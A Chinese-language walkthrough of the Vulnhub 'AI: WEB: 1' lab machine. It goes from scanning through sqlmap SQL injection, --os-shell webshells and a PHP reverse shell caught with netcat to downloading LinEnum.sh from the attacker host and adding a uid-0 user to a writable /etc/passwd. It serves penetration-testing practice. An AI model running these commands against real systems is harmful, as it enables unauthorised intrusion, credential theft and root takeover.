Vulnhub靶机 AI WEB 1
Vulnhub靶机 AI: WEB: 1
靶场介绍
靶场地址:https://www.vulnhub.com/entry/ai-web-1,353/
主要内容:SQL注入 > sqlmap --os -shell > /etc/passwd提权
环境搭建
靶机下载地址:https://download.vulnhub.com/aiweb/AI-Web-1.0.7z
下载完成之后,用虚拟机打开,我这里更改为 nat 模式,如果不成功,直接把网络适配器删掉重新添加即可。
安装成功:
信息收集
1、主机发现
arp-scan -l
2、端口扫描
发现端口和服务信息
nmap -sS -sV -T4 -A -p- 192.168.247.167
发现只有一个80端口 以及 他的目录信息。访问80端口:
3、目录扫描
1> 对主站进行目录爆破
dirsearch -u http://192.168.247.167 -e *
访问 robots.txt => http://192.168.247.167/robots.txt
访问上面两个目录都是无法访问的,只能访问 http://192.168.247.167/se3reTdir777/
看到这个页面,想到可能存在SQL注入,等会可以进行尝试。
2> 爆破~/se3reTdir777/目录
dirsearch -u http://192.168.247.167/se3reTdir777/ -e *
这个目录没爆破出有用的内容,还是跟上面一样的东西
3> 尝试对/m3diNf0/目录进行爆破
dirsearch -u http://192.168.247.167/m3diNf0/ -e *
访问:http://192.168.247.167/m3diNf0/info.php 是 phpinfo泄露,这个先放着,后面可能会用到。
漏洞发现及利用
1、双引号闭合的SQL注入
继续尝试挖掘 sql注入:http://192.168.247.167/se3reTdir777/
输入:1
输入:2
输入:3
输入:4
根据上面的回显,可以知道数据库中有三个用户,现在就可以添加符号来尝试了。
输入:1'")#
根据报错语句可知,这里是双引号闭合方式,可以简单试一下
输入 1" 回显正常,但是输入 1' 或者 1) 都不正常,所以判定为 双引号闭合注入 。
这里抓数据包 直接放到sqlmap中
2、sqlmap跑数据
sqlmap -r sqlmap.txt
爆出数据库:
sqlmap -r sqlmap.txt --dbs
爆出表名:
sqlmap -r sqlmap.txt -D aiweb1 --tables
爆出 aiweb1 中所有内容:
sqlmap -r AI-WEB1.txt -D aiweb1 --dump-all –batch
这里的账号密码出来了,密码需要base64解密,由于没有找到登录页面,这些账号密码也没什么用。
id | password | userName |
---|---|---|
1 | RmFrZVVzZXJQYXNzdzByZA== | t00r |
2 | TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ== | aiweb1pwn |
3 | TjB0VGhpczBuZUFsczA= | u3er |
3、尝试使用--os-shell直接getshell
使用OS_shell的条件
1> 具有file权限
2> 攻击者需要知道网站的绝对路径
3> GPC为off,php主动转义的功能关闭
这里的绝对路径可以从 phpinfo 中得到 网站根目录 => /home/www/html/web1x443290o2sdf92213
尝试 --os-shell ---失败了,可能是没有写入权限。
想到之前有个/se3reTdir777/uploads/
目录,作为上传目录应该是有写入权限的,一试果然可以。
所以这里的路径为:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
由上面--os-shell成功上传之后,我们得到两个地址,其中的tmpbzvoz.php
目录可以直接执行命令
http://192.168.247.167:80/se3reTdir777/uploads/tmpbzvoz.php
tmpurkyv.php
目录可以让我们上传文件到网站路径下
http://192.168.247.167:80/se3reTdir777/uploads/tmpurkyv.php
4、上传php恶意脚本
利用执行os_shell留下来的上传页面 上传php恶意脚本,反弹shell
0> 利用kali自带的webshell
在目录/usr/share/webshells/php
下,有自带的php-reverse-shell.php
。
1> 先将它复制到桌面
cp php-reverse-shell.php /root/桌面/
2> 再将其中的ip与端口进行修改
3> 上传木马
4> kali中进行监听
nc -lvnp 8888
5> 访问上传的木马
http://192.168.247.167/se3reTdir777/uploads/php-reverse-shell.php
到监听端查看,发现成功监听
如果这样的页面不是很好看,我们利用python来模拟一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
Linux /etc/paswd 提权
1、上传扫描脚本 LinEnum.sh
上传扫描脚本看靶机的配置是否有问题
1> 攻击机开启一个web服务
python2 -m SimpleHTTPServer 8081
2> 靶机下载脚本
cd /tmp
wget 192.168.247.160:8081/LinEnum.sh
3> 给脚本执行权限
chmod 777 LinEnum.sh
./LinEnum.sh
查看脚本输出信息
4> 发现漏洞
发现passwd文件我们竟然能够修改
2、漏洞利用
1> Linux /etc/paswd 提权 原理
利用/etc/passwd 提权的前提条件是拥有写的权限,有时候有些运维人员大意导致其他设置权限时导致/etc/passwd拥有写的权限
假如我们拿下了一个服务器,发现他的etc/passwd拥有其他用户写的权限,此时我们可以通过编辑etc/passwd来添加用户。我们指定一个用户,在密码占位符后指定密码,并将uid设置为0。并将其添加到/etc/passwd中
2> 具体实施
首先,使用perl语言生成带有盐值的密码,此地的123456
便是我们要加盐的密码
perl -le 'print crypt("123456","addedsalt")'
然后将有需要的用户test
添加到 /etc/passwd 中
echo "test:adrla7IBSfTZQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
我们查看一下/etc/passwd文件,发现我们添加的用户已经写入
我们尝试进行登录用户test
,密码是我们设置的123456
,发现我们创建的用户test
,是以root的权限在登录
su test
123456
查看flag
总结
os-shell 执行原理
对于mysql数据库来说,--os-shell的本质就是写入两个php文件。
其中的tmpurkyv.php
可以让我们上传文件到网站路径下,如下图。
http://192.168.247.167:80/se3reTdir777/uploads/tmpurkyv.php
然后 sqlmap 就会通过上面这个php上传一个用于命令执行的tmpbylqf.php到网站路径下,让我们命令执行,并将输出的内容返回sqlmap端。
http://192.168.247.167:80/se3reTdir777/uploads/tmpbzvoz.php